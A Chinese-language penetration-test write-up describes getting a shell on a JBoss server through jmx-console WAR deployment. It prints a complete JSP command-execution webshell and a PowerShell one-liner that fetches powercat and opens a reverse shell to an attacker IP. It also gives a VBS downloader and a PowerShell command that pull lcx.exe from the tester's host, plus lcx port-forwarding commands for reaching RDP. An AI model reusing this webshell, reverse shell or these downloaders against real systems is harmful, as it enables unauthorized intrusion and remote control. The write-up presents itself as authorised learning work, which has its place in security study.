粉丝服务

实战|一次不完美的Jboss渗透

一.前言

最近做渗透测试中遇到一个jboss的站,在其中学到一些在乙方工作挺有用的技巧(这次测试是进过授权测试)在次分享一下

二.信息收集

先通过namp进行扫描,同时进行目录扫描,发现8080/jmx-console/,发现是jboss的站,百度到jboss可以部署war包getshell,访问http://xxxx:8080//jmx-console/

三.漏洞利用

全局搜索jboss.system,点击进入

1.制作war包
把木马文件gg.jsp(我是一个直接执行命令代码)用压缩软件压缩为zip,然后更改后缀为war,然后将该war上传到互联网上能够访问的网
站上
//gg.jsp
<%@ page contentType=\"text/html;charset=big5\" session=\"false\" import=\"java.io.*\" %>

<html>

<head>

<title></title>

<meta http-equiv=\"Content-Type\" content=\"text/html; charset=big5\">

</head>

<body>

<%

Runtime runtime = Runtime.getRuntime();

Process process =null;

String line=null;

InputStream is =null;

InputStreamReader isr=null;

BufferedReader br =null;

String ip=request.getParameter(\"cmd\");


try

{

process =runtime.exec(ip);

is = process.getInputStream();

isr=new InputStreamReader(is);

br =new BufferedReader(isr);

out.println(\"<pre>\");

while( (line = br.readLine()) != null )

{

out.println(line);

out.flush();

}

out.println(\"</pre>\");

is.close();

isr.close();

br.close();

}

catch(IOException e )

{

out.println(e);

runtime.exit(1);

}

%>

</body>

</html>
我这里就用python 简单创建个ftp服务(这也是python的一个巧用)
python -m SimpleHTTPServer 8589

2.进入jboss.system页面找到如下,填入远程的war文件地址

成功部署的界面如下

3.访问shell地址,并执行命令

四.进一步渗透

1.在获得php shell的基础上,我们需要一个真正的cmd shell,这样有利于操作,进过nmap扫描,发现是windows,我们可以通过powershell进行shell反弹
powershell IEX (New-Object System.Net.Webclient).DownloadString(\'https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1\');powercat -c ip -p port -e cmd

本地监听,成功获取一个cmd shell,接下来就是提权了

2.在cmd 中查看端口开放信息,3389和445都开放了
想到了永恒之蓝打一波,先看看打没打永恒之蓝的补丁,和看看系统信息,发现打了很多补丁

可以通过如下链接查看补丁编号
网址:https://micro8.gitbook.io/micro8/contents-1/1-10/1windows-ti-quan-kuai-su-cha-zhao-exp
查找永恒之蓝补丁编号进行比对发现该目标机器并没打补丁

3.看端口扫描结果,3389过滤了,445也过滤了,只有端口转发再打了

4.先在shell中查看有那些任务,看看有没杀毒软件,初看没有,但后来才发现了,居然有卡巴斯基

5.没事就到处浏览目录查看内容(发现google账号密码居然记录在txt文件中),发现任何目录都能浏览和看信息,就怀疑这个用户的权限,赶紧看了哈…居然是administrator 组的,那提权就不用了涩,但还是想3389连进去

6.打算用vbs下载一个lcx或者EarthWorm进行端口转发,vbs下载代码,一般下载在C:\\Windows\\Temp\\目录下,可读可写
vbs下载代码
echo Set Post = CreateObject(\"Msxml2.XMLHTTP\") >>download.vbs
echo Set Shell = CreateObject(\"Wscript.Shell\") >>download.vbs
echo Post.Open \"GET\",\"http://ip/lcxx/lcx.exe\",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject(\"ADODB.Stream\") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile \"C:\\Windows\\Temp\\2.txt\",2 >>download.vbs
powershell 下载代码
powershell (new-object System.Net.WebClient).DownloadFile( \'http://ip:7667/lcxx/lcx.exe\',\'C:\\Windows\\Temp\\2.txt\')
7.当自己写进去了后,更名为exe执行的时候,被杀了,最后又看了下任务,才发现卡巴斯基,然后就一直被卡在这里
8.lcx命令如下
lcx 命令
//被攻击机器
lcx -slave 自己外网ip 51 内网ip 3389
//攻击机器
lcx.exe -listen 51 9090
由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口.
lcx -tran 53 目标主机ip 3389

总结

虽然暂时没有成功,但从中还是学到许多渗透知识,也明白了实战能提高许多技术。不足就是知识不够,还需努力。

作者:whoamiaa,来源:先知社区

本栏目精选

热门推荐

频道导航